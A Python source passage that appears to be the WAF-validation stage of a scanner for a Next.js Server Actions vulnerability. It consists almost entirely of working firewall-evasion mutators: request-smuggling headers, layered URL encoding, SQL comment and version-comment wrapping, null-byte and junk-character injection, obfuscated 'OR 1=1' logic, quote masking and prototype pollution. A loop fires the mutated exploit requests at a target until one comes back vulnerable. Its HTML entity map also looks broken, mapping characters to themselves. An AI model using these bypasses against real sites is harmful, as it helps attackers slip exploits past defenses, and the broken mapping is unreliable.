"Content-Length": "0",
}
return h, b""
def _benign_multipart_normal(self, headers: dict, body: bytes) -> tuple[dict, bytes]:
"""Normal multipart upload (no exploit) to test parser."""
h = copy.deepcopy(headers)
# Create a benign multipart body
benign_parts = [
{'name': 'file', 'value': 'test content', 'filename': 'test.txt'},
{'name': 'field', 'value': 'normal_value'},
]
new_body = self._build_benign_multipart(benign_parts)
return h, new_body
def _benign_next_action_normal(self, headers: dict, body: bytes) -> tuple[dict, bytes]:
"""Valid Next-Action request to test if Server Actions work."""
h = copy.deepcopy(headers)
# Create a valid but benign Next.js Server Action payload
benign_payload = {
"actionId": "test_action",
"args": ["test"],
}
lines = [
f"--{BOUNDARY}",
'Content-Disposition: form-data; name="0"',
"",
json.dumps(benign_payload),
f"--{BOUNDARY}--",
""
]
new_body = "\r\n".join(lines).encode('utf-8')
return h, new_body
# ============================================================
# STAGE 4: PROTOCOL EVASION (NEW)
# ============================================================
def _http2_prior_knowledge(self, headers: dict, body: bytes) -> tuple[dict, bytes]:
"""Attempt HTTP/2 prior knowledge - add HTTP/2 specific headers."""
h = copy.deepcopy(headers)
h["HTTP2-Settings"] = "AAMAAABkAAQAAP__" # Base64 encoded SETTINGS frame
return h, body
def _http_pipelining(self, headers: dict, body: bytes) -> tuple[dict, bytes]:
"""HTTP pipelining - send benign request followed by exploit."""
h = copy.deepcopy(headers)
h["Connection"] = "keep-alive"
# Note: Actual pipelining requires raw socket, this just sets the header
return h, body
def _te_cl_smuggling(self, headers: dict, body: bytes) -> tuple[dict, bytes]:
"""TE.CL request smuggling attempt."""
h = copy.deepcopy(headers)
h["Transfer-Encoding"] = "chunked"
h["Content-Length"] = str(len(body))
# Malformed: both TE and CL present
return h, body
def _cl_te_smuggling(self, headers: dict, body: bytes) -> tuple[dict, bytes]:
"""CL.TE request smuggling attempt."""
h = copy.deepcopy(headers)
h["Content-Length"] = str(len(body))
h["Transfer-Encoding"] = "chunked"
# Malformed: both CL and TE present (different order)
return h, body
# ============================================================
# STAGE 2 NEW: CONFIRMED BYPASS IMPLEMENTATIONS
# ============================================================
def _triple_encoded_body(self, headers: dict, body: bytes) -> tuple[dict, bytes]:
"""Triple URL-encode the body (confirmed bypass: triple decode chain)."""
h = copy.deepcopy(headers)
import urllib.parse
once = urllib.parse.quote(body)
twice = urllib.parse.quote(once)
thrice = urllib.parse.quote(twice)
new_body = thrice.encode('ascii')
h["Content-Type"] = "application/x-www-form-urlencoded"
h["Content-Length"] = str(len(new_body))
return h, new_body
def _space_to_comment(self, headers: dict, body: bytes) -> tuple[dict, bytes]:
"""
Replace spaces with /**/ comments in JSON string values (Part 0).
CONFIRMED BYPASS: MySQL/PostgreSQL/SQLite treat /**/ as whitespace.
WAF sees: "SELECT/**/*/**/FROM" - may not match "SELECT * FROM"
Backend SQL parser sees: "SELECT * FROM" - executes normally.
"""
h = copy.deepcopy(headers)
parts = self._parse_multipart_body(body)
if not parts:
return h, body
for part in parts:
if part["name"] == "0":
try:
parsed = json.loads(part["value"])
# Inject /**/ in string values - replace spaces
def inject_comments(obj):
if isinstance(obj, str):
return obj.replace(" ", "/**/")
elif isinstance(obj, dict):
return {k: inject_comments(v) for k, v in obj.items()}
elif isinstance(obj, list):
return [inject_comments(v) for v in obj]
return obj
parsed = inject_comments(parsed)
part["value"] = json.dumps(parsed, indent=2)
except json.JSONDecodeError:
pass
return h, self._serialize_multipart(parts)
def _random_whitespace_chars(self, headers: dict, body: bytes) -> tuple[dict, bytes]:
"""
Replace spaces with random ASCII whitespace characters.
CONFIRMED BYPASS: Inconsistent whitespace normalization between WAF and backend.
Chars: %09 (tab), %0A (LF), %0C (FF), %0D (CR), %00 (NULL)
"""
h = copy.deepcopy(headers)
import random
whitespace_chars = ["\t", "\n", "\f", "\r", "\x00"]
parts = self._parse_multipart_body(body)
if not parts:
return h, body
for part in parts:
if part["name"] == "0":
try:
parsed = json.loads(part["value"])
def inject_random_ws(obj):
if isinstance(obj, str):
result = ""
for char in obj:
if char == " ":
result += random.choice(whitespace_chars)
else:
result += char
return result
elif isinstance(obj, dict):
return {k: inject_random_ws(v) for k, v in obj.items()}
elif isinstance(obj, list):
return [inject_random_ws(v) for v in obj]
return obj
parsed = inject_random_ws(parsed)
part["value"] = json.dumps(parsed, indent=2)
except json.JSONDecodeError:
pass
return h, self._serialize_multipart(parts)
def _random_case_json(self, headers: dict, body: bytes) -> tuple[dict, bytes]:
"""
Randomize case of JSON keys and string values.
CONFIRMED BYPASS: Case-sensitive WAF regex fails to match.
Backend JSON parser is case-sensitive for keys but values preserved.
"""
h = copy.deepcopy(headers)
import random
parts = self._parse_multipart_body(body)
if not parts:
return h, body
for part in parts:
if part["name"] == "0":
try:
parsed = json.loads(part["value"])
def random_case(obj):
if isinstance(obj, str):
return ''.join(c.upper() if random.random() > 0.5 else c.lower() for c in obj)
elif isinstance(obj, dict):
new_dict = {}
for k, v in obj.items():
new_key = ''.join(c.upper() if random.random() > 0.5 else c.lower() for c in k)
new_dict[new_key] = random_case(v)
return new_dict
elif isinstance(obj, list):
return [random_case(v) for v in obj]
return obj
parsed = random_case(parsed)
part["value"] = json.dumps(parsed, indent=2)
except json.JSONDecodeError:
pass
return h, self._serialize_multipart(parts)
def _html_entity_encode(self, headers: dict, body: bytes) -> tuple[dict, bytes]:
"""
Encode special characters as HTML entities in JSON string values.
CONFIRMED BYPASS: WAF sees encoded entities, browser/backend decodes in HTML context.
Mapping: < → <, > → >, & → &, " → ", ' → ', space →
"""
h = copy.deepcopy(headers)
parts = self._parse_multipart_body(body)
if not parts:
return h, body
entity_map = {
"<": "<",
">": ">",
"&": "&",
'"': """,
"'": "'",
" ": " ",
}
for part in parts:
if part["name"] == "0":
try:
parsed = json.loads(part["value"])
def encode_entities(obj):
if isinstance(obj, str):
result = ""
for char in obj:
result += entity_map.get(char, char)
return result
elif isinstance(obj, dict):
return {k: encode_entities(v) for k, v in obj.items()}
elif isinstance(obj, list):
return [encode_entities(v) for v in obj]
return obj
parsed = encode_entities(parsed)
part["value"] = json.dumps(parsed, indent=2)
except json.JSONDecodeError:
pass
return h, self._serialize_multipart(parts)
# ============================================================
# ============================================================
# NEW STAGE 2: CONFIRMED & THEORETICAL BYPASS IMPLEMENTATIONS
# ============================================================
def _modsec_version_comment(self, headers: dict, body: bytes) -> tuple[dict, bytes]:
"""
Wrap payload in MySQL version-specific comments /*!00000...*/.
CONFIRMED BYPASS: ModSecurity may not parse /*!version*/ as comment.
MySQL executes if version >= specified (0.0.0 always true).
"""
h = copy.deepcopy(headers)
parts = self._parse_multipart_body(body)
if not parts:
return h, body
for part in parts:
if part["name"] == "0":
try:
parsed = json.loads(part["value"])
# Wrap string values in MySQL version-specific comments
def wrap_version_comments(obj):
if isinstance(obj, str):
# Wrap entire string in /*!00000 ... */
return f"/*!00000{obj}*/"
elif isinstance(obj, dict):
return {k: wrap_version_comments(v) for k, v in obj.items()}
elif isinstance(obj, list):
return [wrap_version_comments(v) for v in obj]
return obj
parsed = wrap_version_comments(parsed)
part["value"] = json.dumps(parsed, indent=2)
except json.JSONDecodeError:
pass
return h, self._serialize_multipart(parts)
def _html_comment_wrap(self, headers: dict, body: bytes) -> tuple[dict, bytes]:
"""
Wrap special characters in HTML comments <!--%-->.
THEORETICAL BYPASS: Browser ignores comments, WAF may not parse inside comments.
"""
h = copy.deepcopy(headers)
parts = self._parse_multipart_body(body)
if not parts:
return h, body
for part in parts:
if part["name"] == "0":
try:
parsed = json.loads(part["value"])
def wrap_html_comments(obj):
if isinstance(obj, str):
# Wrap <, >, &, quotes in HTML comments
result = ""
for char in obj:
if char in "<>&\"'":
result += f"<!--%-->{char}<!--%-->"
else:
result += char
return result
elif isinstance(obj, dict):
return {k: wrap_html_comments(v) for k, v in obj.items()}
elif isinstance(obj, list):
return [wrap_html_comments(v) for v in obj]
return obj
parsed = wrap_html_comments(parsed)
part["value"] = json.dumps(parsed, indent=2)
except json.JSONDecodeError:
pass
return h, self._serialize_multipart(parts)
def _random_junk_chars(self, headers: dict, body: bytes) -> tuple[dict, bytes]:
"""
Insert random junk characters after <, >, and space.
THEORETICAL BYPASS: Breaks regex signatures with noise.
"""
h = copy.deepcopy(headers)
import random
parts = self._parse_multipart_body(body)
if not parts:
return h, body
# Junk characters that are often ignored or cause regex issues
junk_chars = ["\x00", "\x01", "\x02", "\x03", "\x04", "\x05", "\x06", "\x07",
"\x08", "\x0b", "\x0e", "\x0f", "\x10", "\x11", "\x12", "\x13",
"\x14", "\x15", "\x16", "\x17", "\x18", "\x19", "\x1a", "\x1b",
"\x1c", "\x1d", "\x1e", "\x1f", "\x7f", "\ufeff", "\u200b", "\u200c", "\u200d"]
for part in parts:
if part["name"] == "0":
try:
parsed = json.loads(part["value"])
def inject_junk(obj):
if isinstance(obj, str):
result = ""
for char in obj:
result += char
if char in "<> " and random.random() < 0.3:
# 30% chance to inject 1-3 junk chars after trigger chars
for _ in range(random.randint(1, 3)):
result += random.choice(junk_chars)
return result
elif isinstance(obj, dict):
return {k: inject_junk(v) for k, v in obj.items()}
elif isinstance(obj, list):
return [inject_junk(v) for v in obj]
return obj
parsed = inject_junk(parsed)
part["value"] = json.dumps(parsed, indent=2)
except json.JSONDecodeError:
pass
return h, self._serialize_multipart(parts)
def _decoy_tags(self, headers: dict, body: bytes) -> tuple[dict, bytes]:
"""
Add decoy tags to dilute XSS/SQL signatures.
THEORETICAL BYPASS: Signature dilution - WAF looks for specific patterns.
"""
h = copy.deepcopy(headers)
parts = self._parse_multipart_body(body)
if not parts:
return h, body
# Decoy tags that browsers ignore but may confuse WAF signatures
decoy_tags = [
"<x>", "</x>", "<decoy>", "</decoy>", "<ignore>", "</ignore>",
"<![CDATA[", "]]>", "<!--", "-->", "<?xml?>", "<!DOCTYPE>",
]
for part in parts:
if part["name"] == "0":
try:
parsed = json.loads(part["value"])
def add_decoys(obj):
if isinstance(obj, str):
# Prepend and append decoy tags
import random
prefix = "".join(random.choices(decoy_tags, k=random.randint(1, 3)))
suffix = "".join(random.choices(decoy_tags, k=random.randint(1, 3)))
return prefix + obj + suffix
elif isinstance(obj, dict):
return {k: add_decoys(v) for k, v in obj.items()}
elif isinstance(obj, list):
return [add_decoys(v) for v in obj]
return obj
parsed = add_decoys(parsed)
part["value"] = json.dumps(parsed, indent=2)
except json.JSONDecodeError:
pass
return h, self._serialize_multipart(parts)
def _quote_masking(self, headers: dict, body: bytes) -> tuple[dict, bytes]:
"""
Mask quotes with various encodings.
THEORETICAL BYPASS: WAF may not decode all quote variants.
"""
h = copy.deepcopy(headers)
parts = self._parse_multipart_body(body)
if not parts:
return h, body
# Various quote encodings
quote_variants = {
"'": ["%27", "%00%27", "\u2018", "\u2019", "'", "\u02bc", "\u2019"],
'"': ["%22", "%00%22", """, """, "\u201d", "\u201c", "\u201d"],
}
for part in parts:
if part["name"] == "0":
try:
parsed = json.loads(part["value"])
import random
def mask_quotes(obj):
if isinstance(obj, str):
result = ""
for char in obj:
if char in quote_variants:
result += random.choice(quote_variants[char])
else:
result += char
return result
elif isinstance(obj, dict):
return {k: mask_quotes(v) for k, v in obj.items()}
elif isinstance(obj, list):
return [mask_quotes(v) for v in obj]
return obj
parsed = mask_quotes(parsed)
part["value"] = json.dumps(parsed, indent=2)
except json.JSONDecodeError:
pass
return h, self._serialize_multipart(parts)
def _boolean_obfuscation(self, headers: dict, body: bytes) -> tuple[dict, bytes]:
"""
Obfuscate boolean logic with equivalent expressions.
THEORETICAL BYPASS: WAF signatures for 'OR 1=1', 'AND 1=1' etc.
"""
h = copy.deepcopy(headers)
parts = self._parse_multipart_body(body)
if not parts:
return h, body
# Boolean obfuscation patterns
bool_patterns = {
"1=1": ["1=1", "2>1", "3-2=1", "1 LIKE 1", "1 IN (1)", "1 BETWEEN 1 AND 1", "1 IS 1"],
"1=0": ["1=0", "2<1", "1 LIKE 0", "1 IN (0)", "1 IS NOT 1", "1 NOT BETWEEN 1 AND 1"],
"OR": ["OR", "||", " OR ", "||", "OR/**/", "O/**/R"],
"AND": ["AND", "&&", " AND ", "&&", "AND/**/", "A/**/ND"],
}
for part in parts:
if part["name"] == "0":
try:
parsed = json.loads(part["value"])
import random
def obfuscate_boolean(obj):
if isinstance(obj, str):
result = obj
# Replace boolean patterns with obfuscated versions
for pattern, variants in bool_patterns.items():
if pattern in result:
result = result.replace(pattern, random.choice(variants))
return result
elif isinstance(obj, dict):
return {k: obfuscate_boolean(v) for k, v in obj.items()}
elif isinstance(obj, list):
return [obfuscate_boolean(v) for v in obj]
return obj
parsed = obfuscate_boolean(parsed)
part["value"] = json.dumps(parsed, indent=2)
except json.JSONDecodeError:
pass
return h, self._serialize_multipart(parts)
def _random_wildcard(self, headers: dict, body: bytes) -> tuple[dict, bytes]:
"""
Insert SQL wildcards % and _ in payload strings.
THEORETICAL BYPASS: WAF signatures may not account for wildcards.
"""
h = copy.deepcopy(headers)
import random
parts = self._parse_multipart_body(body)
if not parts:
return h, body
for part in parts:
if part["name"] == "0":
try:
parsed = json.loads(part["value"])
def inject_wildcards(obj):
if isinstance(obj, str):
result = ""
for char in obj:
result += char
# 10% chance to inject wildcard after alphanumeric
if char.isalnum() and random.random() < 0.1:
result += random.choice(["%", "_"])
return result
elif isinstance(obj, dict):
return {k: inject_wildcards(v) for k, v in obj.items()}
elif isinstance(obj, list):
return [inject_wildcards(v) for v in obj]
return obj
parsed = inject_wildcards(parsed)
part["value"] = json.dumps(parsed, indent=2)
except json.JSONDecodeError:
pass
return h, self._serialize_multipart(parts)
def _ordinal_encoding(self, headers: dict, body: bytes) -> tuple[dict, bytes]:
"""
Encode special characters as decimal ordinal %DECIMAL.
THEORETICAL BYPASS: Non-standard encoding that some backends may parse.
"""
h = copy.deepcopy(headers)
parts = self._parse_multipart_body(body)
if not parts:
return h, body
# Characters to encode with decimal ordinal
special_chars = "<>&\"'`;()[]{}"
for part in parts:
if part["name"] == "0":
try:
parsed = json.loads(part["value"])
def encode_ordinal(obj):
if isinstance(obj, str):
result = ""
for char in obj:
if char in special_chars:
result += f"%{ord(char)}"
else:
result += char
return result
elif isinstance(obj, dict):
return {k: encode_ordinal(v) for k, v in obj.items()}
elif isinstance(obj, list):
return [encode_ordinal(v) for v in obj]
return obj
parsed = encode_ordinal(parsed)
part["value"] = json.dumps(parsed, indent=2)
except json.JSONDecodeError:
pass
return h, self._serialize_multipart(parts)
def _url_encode_all(self, headers: dict, body: bytes) -> tuple[dict, bytes]:
"""
URL-encode ALL characters including alphanumeric.
CONFIRMED BYPASS: WAF may not fully decode heavily encoded payloads.
"""
h = copy.deepcopy(headers)
import urllib.parse
parts = self._parse_multipart_body(body)
if not parts:
return h, body
for part in parts:
if part["name"] == "0":
try:
parsed = json.loads(part["value"])
# Re-serialize JSON then fully URL encode
json_str = json.dumps(parsed, indent=2)
# URL encode every character
encoded = "".join(f"%{ord(c):02X}" for c in json_str)
part["value"] = encoded
except json.JSONDecodeError:
pass
# Change content type since we're sending encoded data
h["Content-Type"] = "application/x-www-form-urlencoded"
return h, self._serialize_multipart(parts)
def _unicode_escape_sequences(self, headers: dict, body: bytes) -> tuple[dict, bytes]:
"""
Insert %uXXXX Unicode escape sequences in payload.
THEORETICAL BYPASS: WAF regex fails on unicode escapes, backend may normalize.
"""
h = copy.deepcopy(headers)
import random
parts = self._parse_multipart_body(body)
if not parts:
return h, body
for part in parts:
if part["name"] == "0":
try:
parsed = json.loads(part["value"])
def inject_unicode_escapes(obj):
if isinstance(obj, str):
result = ""
for char in obj:
if char.isalnum() and random.random() < 0.15:
# 15% chance to replace alphanumeric with %uXXXX
result += f"%u{ord(char):04X}"
else:
result += char
return result
elif isinstance(obj, dict):
return {k: inject_unicode_escapes(v) for k, v in obj.items()}
elif isinstance(obj, list):
return [inject_unicode_escapes(v) for v in obj]
return obj
parsed = inject_unicode_escapes(parsed)
part["value"] = json.dumps(parsed, indent=2)
except json.JSONDecodeError:
pass
return h, self._serialize_multipart(parts)
# NEW BODY REBUILD HELPERS FOR STAGE 3
# ============================================================
def _rebuild_body_proto_pollution(self, original_body: bytes) -> bytes:
"""Add __proto__ pollution via duplicate parameters in Part 0."""
parts = self._parse_multipart_body(original_body)
if not parts:
return original_body
for part in parts:
if part["name"] == "0":
try:
parsed = json.loads(part["value"])
# Add __proto__ pollution
parsed["__proto__"] = {"polluted": True}
parsed["constructor"] = {"prototype": {"polluted": True}}
part["value"] = json.dumps(parsed, indent=2)
except json.JSONDecodeError:
pass
return self._serialize_multipart(parts)
def _rebuild_body_unicode_escape(self, original_body: bytes) -> bytes:
"""Escape all non-ASCII chars in JSON as \\uXXXX."""
parts = self._parse_multipart_body(original_body)
if not parts:
return original_body
for part in parts:
if part["name"] == "0":
try:
parsed = json.loads(part["value"])
# Re-serialize with ensure_ascii=True (default)
part["value"] = json.dumps(parsed, indent=2, ensure_ascii=True)
except json.JSONDecodeError:
pass
return self._serialize_multipart(parts)
def _rebuild_body_null_bytes(self, original_body: bytes) -> bytes:
"""Inject null bytes in payload strings (append)."""
parts = self._parse_multipart_body(original_body)
if not parts:
return original_body
for part in parts:
if part["name"] == "0":
try:
parsed = json.loads(part["value"])
# Inject null bytes in string values
def inject_nulls(obj):
if isinstance(obj, str):
return obj + "\x00"
elif isinstance(obj, dict):
return {k: inject_nulls(v) for k, v in obj.items()}
elif isinstance(obj, list):
return [inject_nulls(v) for v in obj]
return obj
parsed = inject_nulls(parsed)
part["value"] = json.dumps(parsed, indent=2)
except json.JSONDecodeError:
pass
return self._serialize_multipart(parts)
def _rebuild_body_prepend_null(self, original_body: bytes) -> bytes:
"""
Prepend null byte to Part 0 payload string values.
CONFIRMED BYPASS: Legacy PHP (<5.3), C-based apps truncate at null byte.
WAF sees full payload, backend sees truncated string.
"""
parts = self._parse_multipart_body(original_body)
if not parts:
return original_body
for part in parts:
if part["name"] == "0":
try:
parsed = json.loads(part["value"])
def prepend_nulls(obj):
if isinstance(obj, str):
return "\x00" + obj
elif isinstance(obj, dict):
return {k: prepend_nulls(v) for k, v in obj.items()}
elif isinstance(obj, list):
return [prepend_nulls(v) for v in obj]
return obj
parsed = prepend_nulls(parsed)
part["value"] = json.dumps(parsed, indent=2)
except json.JSONDecodeError:
pass
return self._serialize_multipart(parts)
def _rebuild_body_space_to_null(self, original_body: bytes) -> bytes:
"""
Replace spaces with null bytes in Part 0 payload.
CONFIRMED BYPASS: Inconsistent null handling between WAF and backend.
WAF may not normalize null bytes, backend may truncate or preserve.
"""
parts = self._parse_multipart_body(original_body)
if not parts:
return original_body
for part in parts:
if part["name"] == "0":
try:
parsed = json.loads(part["value"])
def space_to_null(obj):
if isinstance(obj, str):
return obj.replace(" ", "\x00")
elif isinstance(obj, dict):
return {k: space_to_null(v) for k, v in obj.items()}
elif isinstance(obj, list):
return [space_to_null(v) for v in obj]
return obj
parsed = space_to_null(parsed)
part["value"] = json.dumps(parsed, indent=2)
except json.JSONDecodeError:
pass
return self._serialize_multipart(parts)
def _rebuild_body_space_to_plus(self, original_body: bytes) -> bytes:
"""
Replace spaces with plus signs in Part 0 payload.
CONFIRMED BYPASS: Form body parsing treats + as space (application/x-www-form-urlencoded).
Only works if backend re-parses as form data.
"""
parts = self._parse_multipart_body(original_body)
if not parts:
return original_body
for part in parts:
if part["name"] == "0":
try:
parsed = json.loads(part["value"])
def space_to_plus(obj):
if isinstance(obj, str):
return obj.replace(" ", "+")
elif isinstance(obj, dict):
return {k: space_to_plus(v) for k, v in obj.items()}
elif isinstance(obj, list):
return [space_to_plus(v) for v in obj]
return obj
parsed = space_to_plus(parsed)
part["value"] = json.dumps(parsed, indent=2)
except json.JSONDecodeError:
pass
return self._serialize_multipart(parts)
def _prepend_null_byte(self, headers: dict, body: bytes) -> tuple[dict, bytes]:
"""Prepend null byte to Part 0 payload strings."""
h = copy.deepcopy(headers)
new_body = self._rebuild_body_prepend_null(body)
return h, new_body
def _space_to_null_byte(self, headers: dict, body: bytes) -> tuple[dict, bytes]:
"""Replace spaces with null bytes in Part 0 payload strings."""
h = copy.deepcopy(headers)
new_body = self._rebuild_body_space_to_null(body)
return h, new_body
def _space_to_plus(self, headers: dict, body: bytes) -> tuple[dict, bytes]:
"""Replace spaces with plus signs in Part 0 payload strings."""
h = copy.deepcopy(headers)
new_body = self._rebuild_body_space_to_plus(body)
return h, new_body
def _build_benign_multipart(self, parts_data: List[Dict]) -> bytes:
"""Build a benign multipart body."""
lines = []
for part in parts_data:
lines.append(f"--{BOUNDARY}")
if 'filename' in part:
lines.append(f'Content-Disposition: form-data; name="{part["name"]}"; filename="{part["filename"]}"')
lines.append('Content-Type: text/plain')
else:
lines.append(f'Content-Disposition: form-data; name="{part["name"]}"')
lines.append("")
lines.append(part["value"])
lines.append(f"--{BOUNDARY}--")
lines.append("")
return "\r\n".join(lines).encode('utf-8')
# ============================================================
# BODY REBUILD HELPERS (EXISTING)
# ============================================================
def _rebuild_body_with_boundary(self, original_body: bytes, new_boundary: str) -> bytes:
parts = self._parse_multipart_body(original_body)
if not parts:
return original_body
lines = []
for part in parts:
lines.append(f"--{new_boundary}")
lines.append(f'Content-Disposition: form-data; name="{part["name"]}"')
lines.append("")
lines.append(part["value"])
lines.append(f"--{new_boundary}--")
lines.append("")
return "\r\n".join(lines).encode('utf-8')
def _rebuild_body_compact_json(self, original_body: bytes) -> bytes:
parts = self._parse_multipart_body(original_body)
if not parts:
return original_body
for part in parts:
if part["name"] == "0":
try:
parsed = json.loads(part["value"])
part["value"] = json.dumps(parsed, separators=(',', ':'))
except json.JSONDecodeError:
pass
return self._serialize_multipart(parts)
def _rebuild_body_no_part1_quotes(self, original_body: bytes) -> bytes:
parts = self._parse_multipart_body(original_body)
if not parts:
return original_body
for part in parts:
if part["name"] == "1":
val = part["value"].strip()
if val.startswith('"') and val.endswith('"'):
part["value"] = val[1:-1]
return self._serialize_multipart(parts)
def _rebuild_body_extra_part(self, original_body: bytes) -> bytes:
parts = self._parse_multipart_body(original_body)
if not parts:
return original_body
extra_part = {"name": "extra", "value": "", "headers": {}}
parts.insert(0, extra_part)
return self._serialize_multipart(parts)
def _rebuild_body_reordered(self, original_body: bytes) -> bytes:
parts = self._parse_multipart_body(original_body)
if not parts or len(parts) < 3:
return original_body
part_map = {p["name"]: p for p in parts}
new_order = ["2", "0", "1"]
reordered = [part_map[name] for name in new_order if name in part_map]
return self._serialize_multipart(reordered)
def _rebuild_body_duplicate_parts(self, original_body: bytes) -> bytes:
parts = self._parse_multipart_body(original_body)
if not parts:
return original_body
duplicated = []
for part in parts:
duplicated.append(part)
dup = copy.deepcopy(part)
dup["name"] = part["name"]
duplicated.append(dup)
return self._serialize_multipart(duplicated)
def _rebuild_body_extra_part_after(self, original_body: bytes) -> bytes:
parts = self._parse_multipart_body(original_body)
if not parts:
return original_body
extra_part = {"name": "trailing", "value": "trailing_data", "headers": {}}
parts.append(extra_part)
return self._serialize_multipart(parts)
def _rebuild_body_unicode_normalized(self, original_body: bytes, normalize_func) -> bytes:
parts = self._parse_multipart_body(original_body)
if not parts:
return original_body
for part in parts:
if part["name"] == "0":
try:
parsed = json.loads(part["value"])
def normalize_strings(obj):
if isinstance(obj, str):
return normalize_func('NFC', obj)
elif isinstance(obj, dict):
return {k: normalize_strings(v) for k, v in obj.items()}
elif isinstance(obj, list):
return [normalize_strings(v) for v in obj]
return obj
normalized = normalize_strings(parsed)
part["value"] = json.dumps(normalized, indent=2)
except json.JSONDecodeError:
pass
return self._serialize_multipart(parts)
def _rebuild_body_json_whitespace(self, original_body: bytes) -> bytes:
import random
parts = self._parse_multipart_body(original_body)
if not parts:
return original_body
for part in parts:
if part["name"] == "0":
try:
parsed = json.loads(part["value"])
def random_whitespace(obj, indent=0):
if isinstance(obj, dict):
items = []
for k, v in obj.items():
spaces = " " * random.randint(0, 4)
items.append(f'{spaces}"{k}": {random_whitespace(v, indent + 2)}')
return "{\n" + ",\n".join(items) + "\n" + " " * indent + "}"
elif isinstance(obj, list):
items = [random_whitespace(v, indent + 2) for v in obj]
return "[\n" + ",\n".join(items) + "\n" + " " * indent + "]"
elif isinstance(obj, str):
return f'"{obj}"'
else:
return str(obj)
part["value"] = random_whitespace(parsed)
except json.JSONDecodeError:
pass
return self._serialize_multipart(parts)
def _rebuild_body_shuffle_keys(self, original_body: bytes) -> bytes:
import random
parts = self._parse_multipart_body(original_body)
if not parts:
return original_body
for part in parts:
if part["name"] == "0":
try:
parsed = json.loads(part["value"])
if isinstance(parsed, dict):
items = list(parsed.items())
random.shuffle(items)
parsed = dict(items)
part["value"] = json.dumps(parsed, indent=2)
except json.JSONDecodeError:
pass
return self._serialize_multipart(parts)
def _rebuild_body_trailing_commas(self, original_body: bytes) -> bytes:
parts = self._parse_multipart_body(original_body)
if not parts:
return original_body
for part in parts:
if part["name"] == "0":
try:
parsed = json.loads(part["value"])
serialized = json.dumps(parsed, indent=2)
import re
serialized = re.sub(r'(?<=\S)\s*}', ',\n}', serialized)
serialized = re.sub(r'(?<=\S)\s*]', ',\n]', serialized)
part["value"] = serialized
except json.JSONDecodeError:
pass
return self._serialize_multipart(parts)
def _parse_multipart_body(self, body: bytes) -> List[Dict[str, str]]:
"""Parse multipart body into list of parts."""
try:
text = body.decode('utf-8')
lines = text.split('\r\n')
if not lines:
return []
boundary = lines[0]
parts = []
current_part = {}
in_headers = True
value_lines = []
for line in lines[1:]:
if line == boundary:
if current_part:
current_part["value"] = "\r\n".join(value_lines).rstrip('\r\n')
parts.append(current_part)
current_part = {"name": "", "value": "", "headers": {}}
value_lines = []
in_headers = True
elif line == f"{boundary}--":
if current_part:
current_part["value"] = "\r\n".join(value_lines).rstrip('\r\n')
parts.append(current_part)
break
elif in_headers and line == "":
in_headers = False
elif in_headers and line.startswith('Content-Disposition:'):
import re
match = re.search(r'name="([^"]+)"', line)
if match:
current_part["name"] = match.group(1)
elif not in_headers:
value_lines.append(line)
return parts
except Exception:
return []
def _serialize_multipart(self, parts: List[Dict[str, str]]) -> bytes:
"""Serialize parts back to multipart body."""
lines = []
for part in parts:
lines.append(f"--{BOUNDARY}")
lines.append(f'Content-Disposition: form-data; name="{part["name"]}"')
lines.append("")
lines.append(part["value"])
lines.append(f"--{BOUNDARY}--")
lines.append("")
return "\r\n".join(lines).encode('utf-8')
# ============================================================
# MAIN VALIDATION LOGIC - MULTI-STAGE
# ============================================================
def validate(self, target: str, primary_response: requests.Response,
primary_waf: str, path: str) -> tuple[str, str, List[ValidationAttempt], Optional[str]]:
"""
Perform multi-stage WAF validation attempts.
Returns:
(final_status, final_evidence, validation_attempts, validation_path)
"""
if not self.enabled:
return "WAF_BLOCKED", f"WAF blocked primary request: {primary_waf}", [], "primary"
# Store primary response for reference
self.primary_response = primary_response
self.primary_waf = primary_waf
attempts = []
base_url = target
# Build the standard request components
standard_body = self.scanner._build_multipart_body()
standard_headers = self.scanner._get_headers()
# Apply custom headers from config if any
if self.custom_headers:
standard_headers.update(self.custom_headers)
# Group variations by stage
variations_by_stage = {}
for v in self.variations:
stage = v.get("stage", 1)
if stage not in variations_by_stage:
variations_by_stage[stage] = []
variations_by_stage[stage].append(v)
# Run each stage
for stage_num in sorted(variations_by_stage.keys()):
stage_variations = variations_by_stage[stage_num]
max_for_stage = self.stage_config.get(f"stage{stage_num}_header_transport" if stage_num == 1 else
f"stage{stage_num}_payload_encoding" if stage_num == 2 else
f"stage{stage_num}_benign_probe" if stage_num == 3 else
f"stage{stage_num}_protocol_evasion",
self.max_attempts)
print(f"[*] WAF Validation Stage {stage_num}: {len(stage_variations)} variations (max {max_for_stage})")
stage_attempts = 0
stage_accepted = 0
for variation in stage_variations:
if stage_attempts >= max_for_stage:
break
self.scanner._rate_limit()
stage_attempts += 1
try:
# Apply variation
mod_headers, mod_body = variation["modify_request"](standard_headers, standard_body)
# Make request with timing
import time
start_time = time.time()
# Handle different HTTP methods for benign probes
method = variation.get("method", "POST")
if method == "GET":
response = self.scanner.session.get(
base_url,
headers=mod_headers,
timeout=(self.scanner.connect_timeout, self.scanner.timeout),
verify=self.scanner.verify_ssl,
allow_redirects=False
)
else:
response = self.scanner.session.post(
base_url,
data=mod_body,
headers=mod_headers,
timeout=(self.scanner.connect_timeout, self.scanner.timeout),
verify=self.scanner.verify_ssl,
allow_redirects=False
)
elapsed_ms = int((time.time() - start_time) * 1000)
# Analyze response - use special analysis for benign probes
if variation["category"] == "benign_probe":
waf_detected = self.scanner._detect_waf(response)
# For benign probes, we just check if WAF blocks legitimate traffic
if waf_detected or response.status_code == 403:
status = "WAF_BLOCKED"
evidence = f"WAF blocked benign probe: {waf_detected or 'generic 403'}"
else:
status = "ACCEPTED"
evidence = f"Benign probe accepted: HTTP {response.status_code}"
else:
waf_detected = self.scanner._detect_waf(response)
status, evidence = self.scanner._analyze_response(response)
attempt = ValidationAttempt(
variation_name=variation["name"],
variation_category=variation["category"],
http_status=response.status_code,
waf_detected=waf_detected,
status="ACCEPTED" if status != "WAF_BLOCKED" else "BLOCKED",
evidence=evidence,
response_snippet=response.text[:500],
stage=stage_num,
request_details={
"headers": {k: v for k, v in mod_headers.items() if k.lower() != "content-type"},
"body_length": len(mod_body),
"response_time_ms": elapsed_ms,
"response_headers": dict(response.headers),
"response_size": len(response.content),
"stage": stage_num,
}
)
attempts.append(attempt)
if status != "WAF_BLOCKED":
stage_accepted += 1
# Early exit for VULNERABLE (only for exploit attempts, not benign probes)
if variation["category"] != "benign_probe" and status == "VULNERABLE":
validation_path = f"validation:{variation['name']}"
return status, evidence, attempts, validation_path
# For benign probes, if accepted, we know WAF allows legitimate traffic
if variation["category"] == "benign_probe" and status == "ACCEPTED":
# Continue to next stages with exploit payload
pass
except requests.exceptions.SSLError:
